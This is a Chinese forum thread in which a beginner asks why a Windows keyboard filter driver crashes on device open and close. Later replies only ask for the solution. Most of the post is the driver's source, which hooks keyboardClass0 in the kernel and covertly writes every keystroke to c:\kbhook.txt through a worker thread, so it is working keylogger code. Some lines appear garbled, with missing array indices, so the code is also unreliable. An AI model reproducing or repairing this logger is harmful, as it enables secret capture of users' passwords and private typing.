阅读:2534回复:4
郁闷,完了,我写的多设备键盘过滤驱动怎么老蓝屏?
我刚接触驱动编程,碰到很多问题。
实在没办法了,请大家帮帮我吧。。 网上找到一PS/2口键盘的过滤驱动,我想让过滤驱动与RING3层通信,需要在DriverEntry()中再创建一个设备,这个设备专门与RING3 进行通信,但这个设备的创建出现了问题,无论是打开,关闭,都会蓝屏...不知哪儿出了问题,帮我看看吧,驱动代码很简单,我上传到附件了,下面是主要代码 //#include <ntddk.h> #include "kbhook.h" #include "ScanCode.h" #include <windef.h> int numPendingIrps=0; // //ICTOL 以及控制设备的相关变量 // #define IOCTL_PASSPROCESSID \ CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) UNICODE_STRING devNameUnicd; UNICODE_STRING devLinkUnicd; PDEVICE_OBJECT pDevice; //控制设备的设备对象 NTSTATUS DeviceIoControlDispatch(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp); //DeviceIoControl的处理函数 VOID OnUnload( IN PDRIVER_OBJECT theDriverObject ) { KTIMER kTimer; LARGE_INTEGER timeout; PDEVICE_EXTENSION pKeyboradDeviceExtension; pKeyboradDeviceExtension=(PDEVICE_EXTENSION) theDriverObject->DeviceObject->DeviceExtension; IoDetachDevice(pKeyboradDeviceExtension->pKeyboardDevice); timeout.QuadPart=1000000;//1s KeInitializeTimer(&kTimer); while(numPendingIrps > 0) { KeSetTimer(&kTimer,timeout,NULL); KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL); } pKeyboradDeviceExtension->bThreadTerminate=TRUE; KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue,0,1,TRUE);//让独立的记录线程获得执行机会 KeWaitForSingleObject(pKeyboradDeviceExtension->pThreadObject, Executive,KernelMode,FALSE,NULL); //结束独立的记录线程 ZwClose(pKeyboradDeviceExtension->hLogFile); //关闭文件句柄 IoDeleteDevice(theDriverObject->DeviceObject); //删除设备对象 IoDeleteSymbolicLink(&devLinkUnicd); IoDeleteDevice(pDevice); DbgPrint("My Driver Unloaded!"); return; } NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,IN PUNICODE_STRING RegistryPath) { NTSTATUS status={0}; int i; PDEVICE_EXTENSION pKeyboardDeviceExtension; IO_STATUS_BLOCK file_status; OBJECT_ATTRIBUTES obj_attrib; CCHAR ntNameFile[100]="\\DosDevices\\c:\\kbhook.txt"; STRING ntNameString; UNICODE_STRING uFileName; for( i=0 ; i < IRP_MJ_MAXIMUM_FUNCTION;i++) theDriverObject->MajorFunction = DispatchPassDown; theDriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead; HookKeyboard(theDriverObject); //建立一个线程用来记录键盘动作 InitThreadKeyLogger(theDriverObject); ///////////////////////////////////////////////////////////////////////////////////////////// ////////初始化一个旋转锁来访问链表/////////////////////////////////////////////////////////////// pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension; InitializeListHead(&pKeyboardDeviceExtension->QueueListHead); KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue); KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue,0,MAXLONG); ////////////创建一个纪录文件/////////////////////////////////////////////////////////////////////// RtlInitAnsiString(&ntNameString,ntNameFile); RtlAnsiStringToUnicodeString(&uFileName,&ntNameString,TRUE); InitializeObjectAttributes(&obj_attrib,&uFileName, OBJ_CASE_INSENSITIVE, NULL,NULL); status=ZwCreateFile(&pKeyboardDeviceExtension->hLogFile, GENERIC_WRITE, &obj_attrib, &file_status, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); RtlFreeUnicodeString(&uFileName); theDriverObject->DriverUnload=OnUnload; //NTSTATUS Status; //PDEVICE_OBJECT pDevice; RtlInitUnicodeString(&devNameUnicd,L"\\Device\\PANZER3"); RtlInitUnicodeString(&devLinkUnicd,L"\\??\\PANZER3");//创建控制设备 status=IoCreateDevice(theDriverObject,0,&devNameUnicd,FILE_DEVICE_UNKNOWN, 0,FALSE,&pDevice); if(!NT_SUCCESS(status)) { DbgPrint(("Can not create device.\n")); return status; } status=IoCreateSymbolicLink(&devLinkUnicd,&devNameUnicd); if(!NT_SUCCESS(status)) { DbgPrint(("Can not create device.SymbolicLink\n")); return status; } theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]= theDriverObject->MajorFunction[IRP_MJ_CREATE]= theDriverObject->MajorFunction[IRP_MJ_CLOSE]= DeviceIoControlDispatch; DbgPrint("Create Control Driver ! address=%p = %x", pDevice,pDevice); return STATUS_SUCCESS; } NTSTATUS HookKeyboard(IN PDRIVER_OBJECT theDriverObject) { ///IRQL = passive level //建立过滤驱动对象 PDEVICE_EXTENSION pKeyboardDeviceExtension; PDEVICE_OBJECT pKeyboardDeviceObject; CCHAR ntNameBuffer[50]="\\Device\\keyboardClass0"; STRING ntNameString; UNICODE_STRING uKeyboardDevice; NTSTATUS status=IoCreateDevice(theDriverObject, sizeof(DEVICE_EXTENSION), NULL, FILE_DEVICE_KEYBOARD, //★注意这里 0, TRUE, &pKeyboardDeviceObject); if(!NT_SUCCESS(status)) return status; /////////// 设置新设备的标志与地层键盘设备标记相同 pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags|DO_BUFFERED_IO |DO_POWER_PAGABLE ; pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags &~DO_DEVICE_INITIALIZING; //在DriverEntry例程中创建的设备对象,并不需要必须清除DO_DEVICE_INITIALIZING标识,这是因为这个工作将会由I/O管理器自动完成。 //然而,如果创建了其它设备对象,则需要进行该清除工作。 //对DEVICE_EXTENSION结构清0 RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension,sizeof(DEVICE_EXTENSION)); pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension; /////把keyboardClass0转换成一个UNICODE字符串////////////////////////////////////////////////////////// RtlInitAnsiString(&ntNameString,ntNameBuffer); RtlAnsiStringToUnicodeString(&uKeyboardDevice,&ntNameString,TRUE); //准备工作完成后放置过滤钩子 IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDevice, &pKeyboardDeviceExtension->pKeyboardDevice); RtlFreeUnicodeString(&uKeyboardDevice); return STATUS_SUCCESS; } NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT theDriverObject) {// IRQL = passive level PDEVICE_EXTENSION pKeyboardDeviceExtension; HANDLE hThread; NTSTATUS status; pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension; //////////////////////设置线程状态//////////////////////////////////// pKeyboardDeviceExtension->bThreadTerminate=FALSE; ////////////创建一个线程用来记录//////////////////////////////////////// status=PsCreateSystemThread(&hThread, (ACCESS_MASK)0, NULL, (HANDLE)0, NULL, ThreadKeyLogger, pKeyboardDeviceExtension); if(!NT_SUCCESS(status)) return status; ///////////////////////////转换保存指向线程对象的指针//////////////////////// ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL, KernelMode, (PVOID*)&pKeyboardDeviceExtension->pThreadObject, NULL); ZwClose(hThread); return status; } NTSTATUS DispatchPassDown(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp) { // IRQL = passive level IoSkipCurrentIrpStackLocation(pIrp); return IoCallDriver(((PDEVICE_EXTENSION) theDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp); } NTSTATUS DispatchRead(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp) { // IRQL = DISPATCH_LEVEL IoCopyCurrentIrpStackLocationToNext(pIrp); IoSetCompletionRoutine(pIrp, OnReadCompletion, theDeviceObject, TRUE, TRUE, TRUE); numPendingIrps++; //纪录挂起的irp数目 return IoCallDriver(((PDEVICE_EXTENSION)theDeviceObject->DeviceExtension)->pKeyboardDevice,pIrp); } NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp,IN PVOID Context) {// IRQL = DISPATCH_LEVEL PKEYBOARD_INPUT_DATA keys; int numKeys; int i; KEY_DATA* kData; PDEVICE_EXTENSION pKeyboardDeviceExtension; pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDeviceObject->DeviceExtension; if(pIrp->IoStatus.Status==STATUS_SUCCESS) { keys=(PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer; numKeys=pIrp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA); for( i=0;i<numKeys;i++) { if(keys.Flags==KEY_MAKE) DbgPrint("%s\n","Key Down,IrpCallBack FUN"); kData=(KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA)); kData->KeyData=(char)keys.MakeCode; kData->KeyFlags=(char)keys.Flags; /////////创建一个链表将击键动作传递给worker线程///////////////////////////////////// ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead, &kData->ListEntry, &pKeyboardDeviceExtension->lockQueue); //★注意同步 KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,FALSE); } } if(pIrp->PendingReturned) IoMarkIrpPending(pIrp); numPendingIrps--; return pIrp->IoStatus.Status; } VOID ThreadKeyLogger(IN PVOID pContext) {// IRQL = passive level PDEVICE_OBJECT pKeyboardDeviceObject; PDEVICE_EXTENSION pKeyboardDeviceExtension; PLIST_ENTRY pListEntry; KEY_DATA* kData; char keys[3]={0}; pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pContext; pKeyboardDeviceObject=pKeyboardDeviceExtension->pKeyboardDevice; //等待信号量,若信号量递增,则继续运行处理循环 while(TRUE) { KeWaitForSingleObject( &pKeyboardDeviceExtension->semQueue, Executive, KernelMode, FALSE, NULL); //在链表中安全删除了最高顶端// pListEntry=ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead, &pKeyboardDeviceExtension->lockQueue); if(pKeyboardDeviceExtension->bThreadTerminate==TRUE) { PsTerminateSystemThread(STATUS_SUCCESS); } kData=CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry); ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys); ExFreePool(kData); //删除内存 if(keys!=0) { if(pKeyboardDeviceExtension->hLogFile!=NULL) { IO_STATUS_BLOCK io_status; NTSTATUS status; status=ZwWriteFile( pKeyboardDeviceExtension->hLogFile, NULL, NULL, NULL, &io_status, &keys, strlen(keys), NULL, NULL); if(status!=STATUS_SUCCESS) DbgPrint("write code to file fail!"); } } } return; } //////////ConvertScanCodeToKeyCode 函数用来转换接受的击键码 // //控制设备的IOControl函数 // NTSTATUS DeviceIoControlDispatch(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp) { PIO_STACK_LOCATION irpStack; NTSTATUS Status; PVOID InPutBuffer; ULONG ioControlCode; ULONG OutPutLen; PEPROCESS Process; ULONG IOPL = 1; HANDLE hProc; HANDLE *pBuff = NULL; Status=STATUS_SUCCESS; if(pDeviceObject != pDevice) { DbgPrint("keyboard filter!"); IoSkipCurrentIrpStackLocation(pIrp); return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp); } irpStack=IoGetCurrentIrpStackLocation(pIrp); ioControlCode=irpStack->Parameters.DeviceIoControl.IoControlCode; switch(irpStack->MajorFunction) { case IRP_MJ_CREATE: DbgPrint("Call IRP_MJ_CREATE\n"); break; case IRP_MJ_CLOSE: DbgPrint("Call IRP_MJ_CLOSE\n"); break; case IRP_MJ_DEVICE_CONTROL: OutPutLen=irpStack->Parameters.DeviceIoControl.OutputBufferLength; switch(ioControlCode) { case IOCTL_PASSPROCESSID: { /*_asm { mov dx, 0x64 mov al, 0xFE out dx, al }*/ DbgPrint("ioControlCode\n"); } break; default: break; } break; default: DbgPrint("no match control\n"); break; } pIrp->IoStatus.Status = Status; pIrp->IoStatus.Information = 0; IoCompleteRequest (pIrp, IO_NO_INCREMENT); return Status; } //////////////////////////完毕 打开控制设备的代码如下 #include "stdafx.h" #include <stdio.h> #include <winioctl.h> #define IOCTL_PASSPROCESSID \ CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) ULONG dwReturn; int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { HANDLE hDevice=CreateFile("\\\\.\\PANZER3",GENERIC_READ | GENERIC_WRITE, 0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL); if(hDevice==INVALID_HANDLE_VALUE) MessageBox(NULL,"fail","fail",MB_OK); else { //DeviceIoControl(hDevice,IOCTL_PASSPROCESSID,NULL,0, //NULL,0,&dwReturn,NULL); MessageBox(NULL,"ok","ok",MB_OK); CloseHandle(hDevice);//到这里蓝屏 郁闷 MessageBox(NULL,"closeHandle","ok",MB_OK); } return 0; } |
|
|
沙发#
发布于:2008-05-26 15:45
问题得到解决
|
|
板凳#
发布于:2008-06-01 15:49
说一下原因可以启迪后来者
|
|
|
地板#
发布于:2008-06-04 07:17
就是,这么长的代码,别人也花了不少时间帮你整理,公布一下答案摆
|
|
|
地下室#
发布于:2008-09-18 13:55
share it plz
|
|